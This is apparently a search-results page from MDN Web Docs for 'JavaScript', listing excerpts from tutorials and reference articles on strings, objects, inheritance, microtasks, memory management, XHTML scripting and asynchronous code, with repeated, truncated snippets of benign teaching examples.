JavaScript" are trademarks (or registered trademarks) of Oracle in the U.S. and other countries, the two programming languages are significantly different in their syntax, semantics, and use cases.
JavaScript is primarily used in the browser, enabling developers to manipulate webpage content through the DOM, manipulate data with AJAX and IndexedDB, draw graphics with canvas, interact with the device running the browser through various APIs, and more. ...
... Oracle in the U.S. and other countries, the two programming languages are significantly different in their syntax, semantics, and use cases.
JavaScript is primarily used in the browser, enabling developers to manipulate webpage content through the DOM, manipulate data with AJAX and IndexedDB, draw graphics with canvas, interact with the device running the browser through various APIs, and more.
JavaScript is one of the world's most commonly-used languages, owing to the recent growth and performance improvement of APIs available in browsers. ...
...ta with AJAX and IndexedDB, draw graphics with canvas, interact with the device running the browser through various APIs, and more.
JavaScript is one of the world's most commonly-used languages, owing to the recent growth and performance improvement of APIs available in browsers. Origins and History Conceived as a server-side language by Brendan Eich (then employed by the Netscape Corporation),
JavaScript soon came to Netscape Navigator 2.0 in September 1995.
JavaScript enjoyed immediate success and Internet Explorer 3.0 introduced
JavaScript support under the name JScript in August 1996. ...
...And 10 more matches
Handling text — strings in JavaScript - Learn web development
Previous Overview: First steps Next Next, we'll turn our attention to strings -- this is what pieces of text are called in programming. In this article, we'll look at all the common things that you really ought to know about strings when learning
JavaScript, such as creating strings, escaping quotes in strings, and joining strings together. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS, an understanding of what
JavaScript is. Objective: To gain familiarity with the basics of strings in
JavaScript. The power of words Words are very important to humans -- they are a large part of how we communicate. Since the Web is a largely text-based medium designed to allow humans to communicate and share information, it is useful for us to...
... Pretty much all of the programs we've shown you so far in the course have involved some string manipulation. ...
...s with an error (with "unterminated string literal"). If your program is raising such errors, then go back and check all your strings to make sure you have no missing quote marks. The following will work if you previously defined the variable string -- try it now: let badString = string; badString; badString is now set to have the same value as string. Single quotes vs. double quotes In
JavaScript, you can choose single quotes or double quotes to wrap your strings in. Both of the following will work okay: let sgl = 'Single quotes.'; let dbl = "Double quotes"; sgl; dbl; There is very little difference between the two, and which you use is down to personal preference. You should choose one and stick to it, however; differently quoted code can be confusing, especially if you use two diff...
...And 10 more matches
Inheritance in JavaScript - Learn web development
ils of OOJS now explained, this article shows how to create "child" object classes (constructors) that inherit features from their "parent" classes. In addition, we present some advice on when and where you might use OOJS, and look at how classes are dealt with in modern ECMAScript syntax. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS, familiarity with
JavaScript basics (see First steps and Building blocks) and OOJS basics (see Introduction to objects). Objective: To understand how it is possible to implement inheritance in
JavaScript. Prototypal inheritance So far we have seen some inheritance in action -- we have seen how prototype chains work, and how members are inherited going up a chain. But mostly this has involved built-in brow...
... Getting started First of all, make yourself a local copy of our oojs-class-inheritance-start.html file (see it running live also). ...
...ference All is good so far, but we have a problem. We have defined a new constructor, and it has a prototype property, which by default just contains an object with a reference to the constructor function itself. It does not contain the methods of the Person constructor's prototype property. To see this, enter Object.getOwnPropertyNames(Teacher.prototype) into either the text input field or your
JavaScript console. Then enter it again, replacing Teacher with Person. Nor does the new constructor inherit those methods. To see this, compare the outputs of Person.prototype.greeting and Teacher.prototype.greeting. We need to get Teacher() to inherit the methods defined on Person()'s prototype. So how do we do that? Add the following line below your previous addition: Teacher.prototype = Object.crea...
...And 10 more matches
Object-oriented JavaScript for beginners - Learn web development
Previous Overview: Objects Next With the basics out of the way, we'll now focus on object-oriented
JavaScript (OOJS) -- this article presents a basic view of object-oriented programming (OOP) theory, then explores how
JavaScript emulates object classes via constructor functions, and how to create object instances. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS, familiarity with
JavaScript basics (see First steps and Building blocks) and OOJS basics (see Introduction to objects). Objective: To understand the basic theory behind object-oriented programming, how this relates to
JavaScript ("everything is an object"), and how to create constructors and object instances. Object-oriented programming -- the basics To start with, let'...
...ach [Subject]." (e.g Hello, My name is Mr Griffiths, and I teach Chemistry). Note: The fancy word for the ability of multiple object types to implement the same functionality is polymorphism. Just in case you were wondering. You can now create object instances from your child classes. For example: In the rest of the article, we'll start to look at how OOP theory can be put into practice in
JavaScript. Constructors and object instances
JavaScript uses special functions called constructor functions to define and initialize objects and their features. They are useful because you'll often come across situations in which you don't know how many objects you will be creating; constructors provide the means to create as many objects as you need in an effective way, attaching data and functions to t...
...e and initialize objects and their features. They are useful because you'll often come across situations in which you don't know how many objects you will be creating; constructors provide the means to create as many objects as you need in an effective way, attaching data and functions to them as required. Let's explore creating classes via constructors and creating object instances from them in
JavaScript. First of all, we'd like you to make a new local copy of the oojs.html file we saw in our first Objects article. A simple example Let's start by looking at how you could define a person with a normal function. Add this function within the script element: function createNewPerson(name) { const obj = {}; obj.name = name; obj.greeting = function() { alert('Hi! I\'m ' + obj.name + '.
...And 10 more matches
Using microtasks in JavaScript with queueMicrotask() - Web APIs
A microtask is a short function which is executed after the function or program which created it exits and only if the
JavaScript execution stack is empty, but before returning control to the event loop being used by the user agent to drive the script's execution environment. This event loop may be either the browser's main event loop or the event loop driving a web worker. This lets the given function run without the risk of interfering with another script's execution, yet also ensures that the microtask runs before the user agent has the opportunity to react to actions taken by the microtask. ...
...being used by the user agent to drive the script's execution environment. This event loop may be either the browser's main event loop or the event loop driving a web worker. This lets the given function run without the risk of interfering with another script's execution, yet also ensures that the microtask runs before the user agent has the opportunity to react to actions taken by the microtask.
JavaScript promises and the Mutation Observer API both use the microtask queue to run their callbacks, but there are other times when the ability to defer work until the current event loop pass is wrapping up. In order to allow microtasks to be used by third-party libraries, frameworks, and polyfills, the queueMicrotask() method is exposed on the Window and Worker interfaces through the WindowOrWorkerGlobal...
...re are other times when the ability to defer work until the current event loop pass is wrapping up. In order to allow microtasks to be used by third-party libraries, frameworks, and polyfills, the queueMicrotask() method is exposed on the Window and Worker interfaces through the WindowOrWorkerGlobalScope mixin. ...
...And 10 more matches
Control flow and error handling - JavaScript
See Expressions and operators for complete information about expressions. Block statement The most basic statement is a block statement, which is used to group statements. ...
...See Expressions and operators for complete information about expressions. Block statement The most basic statement is a block statement, which is used to group statements. ...
...See Expressions and operators for complete information about expressions. Block statement The most basic statement is a block statement, which is used to group statements. ...
...And 10 more matches
Working with objects - JavaScript
<< PreviousNext >>
JavaScript is designed on a simple object-based paradigm. An object is a collection of properties, and a property is an association between a name (or key) and a value. A property's value can be a function, in which case the property is known as a method. In addition to objects that are predefined in the browser, you can define your own objects. This chapter describes how to use objects, properties, functions, and methods, and how to create your own objects. Objects overview Objects in
JavaScript, just as in many other programming languages, can be compared to objects in real life. The concept of objects in
JavaScript can be understood with real life, tangible objects. In
JavaScript, an object is a standalone entity, with properties and type. Compare it with a ...
...s in many other programming languages, can be compared to objects in real life. The concept of objects in
JavaScript can be understood with real life, tangible objects. In
JavaScript, an object is a standalone entity, with properties and type. Compare it with a cup, for example. A cup is an object, with properties. A cup has a color, a design, weight, a material it is made of, etc. The same way,
JavaScript objects can have properties, which define their characteristics. Objects and properties A
JavaScript object has properties associated with it. A property of an object can be explained as a variable that is attached to the object. Object properties are basically the same as ordinary
JavaScript variables, except for the attachment to objects. The properties of an object define the characteristics...
...You can define a property by assigning it a value. ...
...And 10 more matches
JavaScript First Steps - Learn web development
In our first
JavaScript module, we first answer some fundamental questions such as "what is
JavaScript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing
JavaScript. After that, we discuss some key building blocks in detail, such as variables, strings, numbers and arrays. Looking to become a front-end web developer? ...
... Introduction to HTML. Introduction to CSS. ...
...s. Looking to become a front-end web developer? ...
...And 9 more matches
In depth: Microtasks and the JavaScript runtime environment - Web APIs
When debugging or, possibly, when trying to decide upon the best approach to solving a problem around timing and scheduling of tasks and microtasks, there are things about how the
JavaScript runtime operates under the hood that may be useful to understand. That's what this section covers Introduction
JavaScript is an inherently single-threaded language. It was designed in an era in which this was a positive choice; there were few multi-processor computers available to the general public, and the expected amount of code that would be handled by
JavaScript was relatively low at that time. As time passed, of course, we know that computers have evolved into powerful multi-core systems, and
JavaScript has become one of the most prolifically-used languages in the computing world. A vast number of th...
...ilable to the general public, and the expected amount of code that would be handled by
JavaScript was relatively low at that time. As time passed, of course, we know that computers have evolved into powerful multi-core systems, and
JavaScript has become one of the most prolifically-used languages in the computing world. A vast number of the most popular applications are based at least in part on
JavaScript code. To support this, it was necessary to find ways to allow for projects to escape the limitations of a single-threaded language. ...
... of the most prolifically-used languages in the computing world. A vast number of the most popular applications are based at least in part on
JavaScript code. To support this, it was necessary to find ways to allow for projects to escape the limitations of a single-threaded language. Starting with the addition of timeouts and intervals as part of the Web API (setTimeout() and setInterval()), the
JavaScript environment provided by Web browsers has gradually advanced to include powerful features that enable scheduling of tasks, multi-threaded application development, and so forth. ...
...And 9 more matches
Lexical grammar - JavaScript
The source text of ECMAScript scripts gets scanned from left to right and is converted into a sequence of input elements which are tokens, control characters, line terminators, comments or white space. ECMAScript also defines certain keywords and literals and has rules for automatic insertion of semicolons to end statements. Control characters Control characters have no visual representation but are used to control the interpretation of the text. Unicode format-control characters Code point Name Abbreviation Description U+200C Zero width non-joiner <ZWNJ> Placed between characters to prevent being connected into ligatures in certain languages (Wikipedia). ...
...o-break space <NBSP> Normal space, but no point at which a line may break Others Other Unicode space characters <USP> Spaces in Unicode on Wikipedia Line terminators In addition to white space characters, line terminator characters are used to improve the readability of the source text. However, in some cases, line terminators can influence the execution of
JavaScript code as there are a few places where they are forbidden. Line terminators also affect the process of automatic semicolon insertion. Line terminators are matched by the \s class in regular expressions. Only the following Unicode code points are treated as line terminators in ECMAScript, other line breaking characters are treated as white space (for example, Next Line, NEL, U+0085 is considered as...
... U+000A Line Feed <LF> New line character in UNIX systems. \n U+000D Carriage Return <CR> New line character in Commodore and early Mac systems. ...
...And 9 more matches
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
ular: Raw < and & characters are not allowed except inside of CDATA Sections (<![CDATA[ ... ]]>). Comments (<!---- ... ---->) must not contain double dashes (----). Content contained within Comments (<!---- ... ---->) can be ignored. Problems with Inline style and script Inline style and script tags can cause several different problems in XHTML when it is treated as XML rather than HTML.
JavaScript Contains Characters Which Can Not Exist in XHTML
JavaScript typically contains characters which can not exist in XHTML outside of CDATA Sections. <script type="text/
javascript"> var i = 0; while (++i < 10) { // ... } </script> Note that this example is not well formed XHTML since the use of raw < is only allowed as a part of markup in XHTML or XML. Use of Comments Inside Inline ...
...llowed as a part of markup in XHTML or XML. Use of Comments Inside Inline style and script Authors who are familiar with HTML commonly enclose the contents of inline style and script tags in comments in order to hide the contents of the tags from browsers which do not understand them. <style type="text/css"> <!-- body {background-color: blue; color: yellow;} --> </style> <script type="text/
javascript"> <!-- var i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; } alert('sum = ' + sum); // --> </script> This example illustrates that a conformant browser can ignore content inside of comments. In addition, this example shows how the differences between browsers in handling inline content in text/xml or application/xhtml+xml can be problematic. Mozilla 1.1+/Opera 7 ...
...= 0; for (i = 0; i < 10; ++i) { sum += i; } alert('sum = ' + sum); // --> </script> This example illustrates that a conformant browser can ignore content inside of comments. In addition, this example shows how the differences between browsers in handling inline content in text/xml or application/xhtml+xml can be problematic. Mozilla 1.1+/Opera 7 Do not apply CSS or execute the
JavaScript. ...
...And 8 more matches
Use JavaScript within a webpage - Learn web development
Take your webpages to the next level by harnessing
JavaScript. Learn in this article how to trigger
JavaScript right from your HTML documents. Prerequisites: You need to be familiar with how to create a basic HTML document. Objective: Learn how to trigger
JavaScript in your HTML file, and learn the most important best practices for keeping
JavaScript accessible. About
JavaScript JavaScript is a programming language mostly used client-side to make webpages interactive. You can create amazing webpages without
JavaScript, but
JavaScript opens up a whole new level of possibilities. In this article we're going over the HTML code you need to make
JavaScript take effect. If you want to learn
JavaScript itself, you can start with our
JavaScript basics article. If...
...gramming language mostly used client-side to make webpages interactive. You can create amazing webpages without
JavaScript, but
JavaScript opens up a whole new level of possibilities. In this article we're going over the HTML code you need to make
JavaScript take effect. If you want to learn
JavaScript itself, you can start with our
JavaScript basics article. If you already know something about
JavaScript or if you have a background with other programming languages, we suggest you jump directly into our
JavaScript Guide. How to trigger
JavaScript from HTML Within a browser,
JavaScript doesn't do anything by itself. You run
JavaScript from inside your HTML webpages. To call
JavaScript code from within HTML, you need the <script> element. There are two ways to use script, depending on whether you...
...to use script, depending on whether you're linking to an external script or embedding a script right in your webpage. Linking an external script Usually, you'll be writing scripts in their own .js files. ...
...And 8 more matches
JavaScript object basics - Learn web development
Overview: Objects Next In this article, we'll look at fundamental
JavaScript object syntax, and revisit some
JavaScript features that we've already seen earlier in the course, reiterating the fact that many of the features you've already dealt with are objects. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS, familiarity with
JavaScript basics (see First steps and Building blocks). Objective: To understand the basic theory behind object-oriented programming, how this relates to
JavaScript ("most things are objects"), and how to start working with
JavaScript objects. Object basics An object is a collection of related data and/or functionality (which usually consists of several variables and functions -- which are called propertie...
... called properties and methods when they are inside objects.) Let's work through an example to understand what they look like. To begin with, make a local copy of our oojs.html file. This contains very little -- a <script> element for us to write our source code into. We'll use this as a basis for exploring basic object syntax. While working with this example you should have your developer tools
JavaScript console open and ready to type in some commands. As with many things in
JavaScript, creating an object often begins with defining and initializing a variable. Try entering the following line below the
JavaScript code that's already in your file, then saving and refreshing: const person = {}; Now open your browser's
JavaScript console, enter person into it, and press Enter/Return. You should ge...
...ready in your file, then saving and refreshing: const person = {}; Now open your browser's
JavaScript console, enter person into it, and press Enter/Return. You should get a result similar to one of the below lines: [object Object] Object { } { } Congratulations, you've just created your first object. Job done! But this is an empty object, so we can't really do much with it. Let's update the
JavaScript object in our file to look like this: const person = { name: ['Bob', 'Smith'], age: 32, gender: 'male', interests: ['music', 'skiing'], bio: function() { alert(this.name[0] + ' ' + this.name[1] + ' is ' + this.age + ' years old. He likes ' + this.interests[0] + ' and ' + this.interests[1] + '.'); }, greeting: function() { alert('Hi! I\'m ' + this.name[0] + '.'); } }; Af...
...And 8 more matches
JavaScript Object Management - Archive of obsolete content
Namespace declaration is best located in a file of its own, so that you have this one JS file that should be included in all of your XUL files. We'll be using the placeholder <Namespace> below. This needs to be replaced with an identifier name which is unique to your add-on. ...
...Namespace declaration is best located in a file of its own, so that you have this one JS file that should be included in all of your XUL files. We'll be using the placeholder <Namespace> below. This needs to be replaced with an identifier name which is unique to your add-on. ...
...Namespace declaration is best located in a file of its own, so that you have this one JS file that should be included in all of your XUL files. We'll be using the placeholder <Namespace> below. This needs to be replaced with an identifier name which is unique to your add-on. ...
...And 7 more matches
Introducing JavaScript objects - Learn web development
Here we teach object theory and syntax in detail, then look at how to create your own objects. Looking to become a front-end web developer? We have put together a course that includes all the essential information you need to work towards your goal. ...
...Here we teach object theory and syntax in detail, then look at how to create your own objects. Looking to become a front-end web developer? We have put together a course that includes all the essential information you need to work towards your goal. ...
...eate your own objects. Looking to become a front-end web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites Before starting this module, you should have some familiarity with HTML and CSS. You are advised to work through the Introduction to HTML and Introduction to CSS modules before starting on
JavaScript. You should also have some familiarity with
JavaScript basics before looking at
JavaScript objects in detail. Before attempting this module, work through
JavaScript first steps and
JavaScript building blocks. Note: If you are working on a computer/tablet/other devices where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding pr...
...And 7 more matches
JavaScript — Dynamic client-side scripting - Learn web development
JavaScript is a programming language that allows you to implement complex things on web pages. Every time a web page does more than just sit there and display static information for you to look at--displaying timely content updates, interactive maps, animated 2D/3D graphics, scrolling video jukeboxes, or more--you can bet that
JavaScript is probably involved. Looking to become a front-end web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites
JavaScript is arguably more difficult to learn than related technologies such as HTML and CSS. Before attempting to learn
JavaScript, you are strongly advised to get familiar with at least these two technologies first, and perhaps others as well. Start by wor...
...S. Before attempting to learn
JavaScript, you are strongly advised to get familiar with at least these two technologies first, and perhaps others as well. Start by working through the following modules: Getting started with the Web Introduction to HTML Introduction to CSS Having previous experience with other programming languages might also help. After getting familiar with the basics of
JavaScript, you should be in a position to learn about more advanced topics, for example:
JavaScript in depth, as taught in our
JavaScript guide Web APIs Modules This topic contains the following modules, in a suggested order for working through them. ...
...oduction to CSS Having previous experience with other programming languages might also help. After getting familiar with the basics of
JavaScript, you should be in a position to learn about more advanced topics, for example:
JavaScript in depth, as taught in our
JavaScript guide Web APIs Modules This topic contains the following modules, in a suggested order for working through them.
JavaScript first steps In our first
JavaScript module, we first answer some fundamental questions such as "what is
JavaScript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing
JavaScript. ...
...And 7 more matches
Expressions and operators - JavaScript
<< PreviousNext >> This chapter describes
JavaScript's expressions and operators, including assignment, comparison, arithmetic, bitwise, logical, string, ternary and more. A complete and detailed list of operators and expressions is also available in the reference. Operators
JavaScript has the following types of operators. This section describes the operators and contains information about operator precedence. Assignment operators Comparison operators Arithmetic operators Bitwise operators Logical operators String operators Conditional (ternary) operator Comma operator Unary operators Relational operators
JavaScript has both binary and unary operators, and one special ternary operator, the conditional operator. A binary operator requires two operands, one before the...
...' values before the operation. When chaining these expressions, each assignment is evaluated right-to-left. Consider these examples: w = z = x = y is equivalent to w = (z = (x = y)) or x = y; z = y; w = y z += x *= y is equivalent to z += (x *= y) or tmp = x * y; x *= y; z += tmp (except without the tmp). Destructuring For more complex assignments, the destructuring assignment syntax is a
JavaScript expression that makes it possible to extract data from arrays or objects using a syntax that mirrors the construction of array and object literals. var foo = ['one', 'two', 'three']; // without destructuring var one = foo[0]; var two = foo[1]; var three = foo[2]; // with destructuring var [one, two, three] = foo; Comparison operators A comparison operator compares its operands and return...
.../ with destructuring var [one, two, three] = foo; Comparison operators A comparison operator compares its operands and returns a logical value based on whether the comparison is true. The operands can be numerical, string, logical, or object values. Strings are compared based on standard lexicographical ordering, using Unicode values. In most cases, if the two operands are not of the same type,
JavaScript attempts to convert them to an appropriate type for the comparison. This behavior generally results in comparing the operands numerically. The sole exceptions to type conversion within comparisons involve the === and !== operators, which perform strict equality and inequality comparisons. These operators do not attempt to convert the operands to compatible types before checking equality. The foll...
...And 7 more matches
eval() - JavaScript
The expression can include variables and properties of existing objects. Return value The completion value of evaluating the given code. ...
...The expression can include variables and properties of existing objects. Return value The completion value of evaluating the given code. ...
...The expression can include variables and properties of existing objects. Return value The completion value of evaluating the given code. If the completion value is empty, undefined is returned. Description eval() is a function property of the global object. ...
...And 7 more matches
What went wrong? Troubleshooting JavaScript - Learn web development
Previous Overview: First steps Next When you built up the "Guess the number" game in the previous article, you may have found that it didn't work. Never fear -- this article aims to save you from tearing your hair out over such problems by providing you with some tips on how to find and fix errors in
JavaScript programs. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS, an understanding of what
JavaScript is. Objective: To gain the ability and confidence to start fixing problems in your own code. Types of error Generally speaking, when you do something wrong in code, there are two main types of error that you'll come across: Syntax errors: These are spelling errors in your code that actually cause the program not to run at al...
...o fix! We'd still like you to work through the article with our version, so that you can learn the techniques we are teaching here. Then you can go back and try to fix your example. At this point, let's consult the developer console to see if it reports any syntax errors, then try to fix them. You'll learn how below. Fixing syntax errors Earlier on in the course we got you to type some simple
JavaScript commands into the developer tools
JavaScript console (if you can't remember how to open this in your browser, follow the previous link to find out how). What's even more useful is that the console gives you error messages whenever a syntax error exists inside the
JavaScript being fed into the browser's
JavaScript engine. Now let's go hunting. Go to the tab that you've got number-game-errors.ht...
...You should see an error message along the following lines: This is a pretty easy error to track down, and the browser gives you several useful bits of information to help you out (the screenshot above is from Firefox, but other browsers provide similar information). From left to right, we've got: A red "x" to indicate that this is an error. ...
...And 6 more matches
Creating JavaScript callbacks in components
A common pattern used with interfaces to create a bi-directional communication between two groups of code is the observer (or listener) pattern. Basically, the component defines an observer (or listener) interface which is implemented by some external code and this implementation is passed to the component. The component can then call methods on the observer interface to signal the external code when predefined events occur. ...
...ler = { onWord : function(word) { alert(word); } }; var stringParser = /* get a reference to the parser somehow */ stringParser.addObserver(wordHandler); stringParser.parse("pay no attention to the man behind the curtain"); You can find examples of this pattern all over the Mozilla codebase. In fact, there is even a specific interface for this form of push callbacks, nsIObserverService.
JavaScript functions as callbacks Another common use of the pattern is found in addEventListener / removeEventListener. A nice feature of addEventListener is that you can pass a
JavaScript function in place of the callback listener interface. Remember (or discover) that addEventListener is a method of the nsIDOMEventTarget interface and is defined as such: void addEventListener(in DOMString type, ...
...But you can use the same magic in your own IDL callbacks. ...
...And 6 more matches
Indexed collections - JavaScript
x value. This includes arrays and array-like constructs such as Array objects and TypedArray objects. Array object An array is an ordered list of values that you refer to with a name and an index. For example, consider an array called emp, which contains employees' names indexed by their numerical employee number. So emp[0] would be employee number zero, emp[1] employee number one, and so on.
JavaScript does not have an explicit array data type. However, you can use the predefined Array object and its methods to work with arrays in your applications. The Array object has methods for manipulating arrays in various ways, such as joining, reversing, and sorting them. It has a property for determining the array length and other properties for use with regular expressions. Creating an array The fol...
...n the object representing the array, instead of an array element. let arr = [] arr[3.4] = 'Oranges' console.log(arr.length) // 0 console.log(arr.hasOwnProperty(3.4)) // true You can also populate an array when you create it: let myArray = new Array('Hello', myVar, 3.14159) // OR let myArray = ['Mango', 'Apple', 'Orange'] Understanding length At the implementation level,
JavaScript's arrays actually store their elements as standard object properties, using the array index as the property name. The length property is special. It always returns the index of the last element plus one. (In the example below, 'Dusty' is indexed at 30, so cats.length returns 30 + 1). Remember,
JavaScript Array indexes are 0-based: they start at 0, not 1. This means that the length property will...
... Array methods The Array object has the following methods: concat() joins two or more arrays and returns a new array. let myArray = new Array('1', '2', '3') myArray = myArray.concat('a', 'b', 'c') ...
...And 6 more matches
Memory Management - JavaScript
This automaticity is a potential source of confusion: it can give developers the false impression that they don't need to worry about memory management. Memory life cycle Regardless of the programming language, the memory life cycle is pretty much always the same: Allocate the memory you need Use the allocated memory (read, write) Release the allocated memory when it is not needed anymore The second part is explicit in all languages. ...
...life cycle Regardless of the programming language, the memory life cycle is pretty much always the same: Allocate the memory you need Use the allocated memory (read, write) Release the allocated memory when it is not needed anymore The second part is explicit in all languages. The first and last parts are explicit in low-level languages but are mostly implicit in high-level languages like
JavaScript. Allocation in
JavaScript Value initialization In order to not bother the programmer with allocations,
JavaScript will automatically allocate memory when values are initially declared. var n = 123; // allocates memory for a number var s = 'azerty'; // allocates memory for a string var o = { a: 1, b: null }; // allocates memory for an object and contained values // (like object) allocate...
...ement.style.backgroundColor = 'blue'; }, false); Allocation via function calls Some function calls result in object allocation. var d = new Date(); // allocates a Date object var e = document.createElement('div'); // allocates a DOM element Some methods allocate new values or objects: var s = 'azerty'; var s2 = s.substr(0, 3); // s2 is a new string // Since strings are immutable values, //
JavaScript may decide to not allocate memory, // but just store the [0, 3] range. var a = ['ouais ouais', 'nan nan']; var a2 = ['generation', 'nan nan']; var a3 = a.concat(a2); // new array with 4 elements being // the concatenation of a and a2 elements. Using values Using values basically means reading and writing in allocated memory. This can be done by reading or writing the value of a variable or an...
...And 6 more matches
New in JavaScript 1.3 - Archive of obsolete content
The following is a changelog for
JavaScript from Netscape Navigator 4.0 to 4.5. The old Netscape documentation can be found on archive.org. Netscape Navigator 4.5 was released on October 19, 1998. The most significant change in
JavaScript 1.3 was compliance with ECMA-262 and Unicode by removing inconsistencies between
JavaScript 1.2 and the new ECMA standard (which was published in June 1997). Additional features of version 1.2, at the time not specified by ECMA-262 were kept in the
JavaScript language (see below for a list of differences).
JavaScript versions Netscape Communicator and Navigator 4.06 and 4.5 executes
JavaScript language versions up to 1.3. Note that Communicator and Navigator 4.0-4.05 and earlier ignored scripts with the language attribute set to "
JavaScript1.3" and higher. <SC...
...sion 1.2, at the time not specified by ECMA-262 were kept in the
JavaScript language (see below for a list of differences).
JavaScript versions Netscape Communicator and Navigator 4.06 and 4.5 executes
JavaScript language versions up to 1.3. Note that Communicator and Navigator 4.0-4.05 and earlier ignored scripts with the language attribute set to "
JavaScript1.3" and higher. <SCRIPT LANGUAGE="
JavaScript1.2"> <!--
JavaScript for Navigator 4.0. --> <SCRIPT LANGUAGE="
JavaScript1.3"> <!--
JavaScript for Navigator 4.5. ...
... Netscape Communicator and Navigator 4.06 and 4.5 executes
JavaScript language versions up to 1.3. Note that Communicator and Navigator 4.0-4.05 and earlier ignored scripts with the language attribute set to "
JavaScript1.3" and higher. <SCRIPT LANGUAGE="
JavaScript1.2"> <!--
JavaScript for Navigator 4.0. --> <SCRIPT LANGUAGE="
JavaScript1.3"> <!--
JavaScript for Navigator 4.5. ...
...And 5 more matches
New in JavaScript - Archive of obsolete content
This chapter contains information about
JavaScript's version history and implementation status for Mozilla/SpiderMonkey-based
JavaScript applications, such as Firefox. ECMAScript versions Language resources Learn more about the ECMAScript standards on which the
JavaScript language is based on. ECMAScript 5 support Implementation status for the current standard ECMA-262 Edition 5.1 in Mozilla-based engines and products. ECMAScript 2015 support Implementation status for the draft ECMA-262 Edition 6 (ES2015) in Mozilla-based engines and products. ECMAScript Next support Implementation status for upcoming ECMA-262 features as per the yearly (ES2016/ES2017/ES2018/...) release schedule in Mozilla-based engines and products.
JavaScript versions Deprecated ( ). The explicit versioning and opt...
...s and products. ECMAScript Next support Implementation status for upcoming ECMA-262 features as per the yearly (ES2016/ES2017/ES2018/...) release schedule in Mozilla-based engines and products.
JavaScript versions Deprecated ( ). The explicit versioning and opt-in of language features was Mozilla-specific and are in process of being removed. Firefox 4 was the last version which referred to a
JavaScript version (1.8.5). With new ECMA standards,
JavaScript language features are now often mentioned with their initial definition in ECMA-262 Editions such as ECMAScript 2015. ...
...Released on October 19, 1998. ...
...And 5 more matches
Archived JavaScript Reference - Archive of obsolete content
However, it has been removed from the standard and the Firefox implementation. Do not use it!Array.observe()The Array.observe() method was used for asynchronously observing changes to Arrays, similar to Object.observe() for objects. It provided a stream of changes in order of occurrence. It's equivalent to Object.observe() invoked with the accept type list ["add", "update", "delete", "splice"]. ...
...iable over all values of object's properties. For each distinct property, a specified statement is executed.Function.arityNot part of any standard.Function.prototype.isGenerator()The non-standard isGenerator() method used to determine whether or not a function is a generator. It has been removed from Firefox starting with version 58.Generator comprehensionsThe generator comprehension syntax was a
JavaScript expression which allowed you to quickly assemble a new generator function based on an existing iterable object. However, it has been removed from the standard and the Firefox implementation. Do not use it!handler.enumerate()The handler.enumerate() method used to be a trap for for...in statements, but has been removed from the ECMAScript standard in ES2016 and is deprecated in browsers.Legacy gene...
...is deprecated in browsers.Legacy generator functionThe legacy generator function statement declares legacy generator functions with the specified parameters.Legacy generator function expressionThe function keyword can be used to define a legacy generator function inside an expression. ...
...And 5 more matches
Writing JavaScript for XHTML - Archive of obsolete content
g browser considers the content to be HTML, and does not utilise its XML parser. There are a number of reasons for this. Partially it is because, prior to version 9, Internet Explorer was incapable of handling XHTML sent with the official XHTML media type at all. (Rather than displaying content, it would present the user with a file download dialog.) But it is also founded in the experience that
JavaScript, authored carefully for HTML, can break when placed with an XML environment. This article shows some of the reasons alongside with strategies to remedy the problems. It will encourage web authors to use more XML features and make their
JavaScript interoperable with real XHTML applications. (Note that XHTML documents which behave correctly in both application/xhtml+xml and text/html environments...
...sometimes known as 'polyglot' documents.) To test the following examples locally, use Firefox's extension switch. Just write an ordinary (X)HTML file and save it once as test.html and once as test.xhtml. Problem: Nothing Works After switching the MIME type suddenly no inline script works anymore. Even the plain old alert() method is gone. The code looks something like this: <script type="text/
javascript"> //<!-- window.alert("Hello World!"); //--> </script> Solution: The CDATA Trick This problem usually arises, when inline scripts are included in comments. This was common practice in HTML, to hide the scripts from browsers not capable of JS. In the age of XML comments are what they were intended: comments. Before processing the file, all comments will be stripped from the document, ...
...ded: comments. Before processing the file, all comments will be stripped from the document, so enclosing your script in them is like throwing your lunch in a Piranha pool. Moreover, there's really no point to commenting out your scripts -- no browser written in the last ten years will display your code on the page. ...
...And 5 more matches
Introducing asynchronous JavaScript - Learn web development
Previous Overview: Asynchronous Next In this article we briefly recap the problems associated with synchronous
JavaScript, and take a first look at some of the different asynchronous techniques you'll encounter, showing how they can help us solve such problems. Prerequisites: Basic computer literacy, a reasonable understanding of
JavaScript fundamentals. Objective: To gain familiarity with what asynchronous
JavaScript is, how it differs from synchronous
JavaScript, and what use cases it has. Synchronous
JavaScript To allow us to understand what asynchronous
JavaScript is, we ought to start off by making sure we understand what synchronous
JavaScript is. This section recaps some of the information we saw in the previous article. A lot of the functionality w...
...a click event listener to it so that when the button is clicked: An alert() message appears. Once the alert is dismissed, we create a <p> element. We then give it some text content. Finally, we append the paragraph to the document body. While each operation is being processed, nothing else can happen -- rendering is paused. This is because as we said in the previous article,
JavaScript is single threaded. Only one thing can happen at a time, on a single main thread, and everything else is blocked until an operation completes. So in the example above, after you've clicked the button the paragraph won't appear until after the OK button is pressed in the alert box. You can try it for yourself: <button>Click me</button> Note: It is important to remember that alert(), while ...
...completes. So in the example above, after you've clicked the button the paragraph won't appear until after the OK button is pressed in the alert box. You can try it for yourself: <button>Click me</button> Note: It is important to remember that alert(), while being very useful for demonstrating a synchronous blocking operation, is terrible for use in real world applications. Asynchronous
JavaScript For reasons illustrated earlier (e.g. related to blocking), many Web API features now use asynchronous code to run, especially those that access or fetch some kind of resource from an external device, such as fetching a file from the network, accessing a database and returning data from it, accessing a video stream from a web cam, or broadcasting the display to a VR headset. Why is this difficu...
...And 5 more matches
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
Previous Overview: Asynchronous Next This tutorial looks at the traditional methods
JavaScript has available for running code asychronously after a set time period has elapsed, or at a regular interval (e.g. a set number of times per second), discusses what they are useful for, and considers their inherent issues. Prerequisites: Basic computer literacy, a reasonable understanding of
JavaScript fundamentals. Objective: To understand asynchronous loops and intervals and what they are useful for. ...
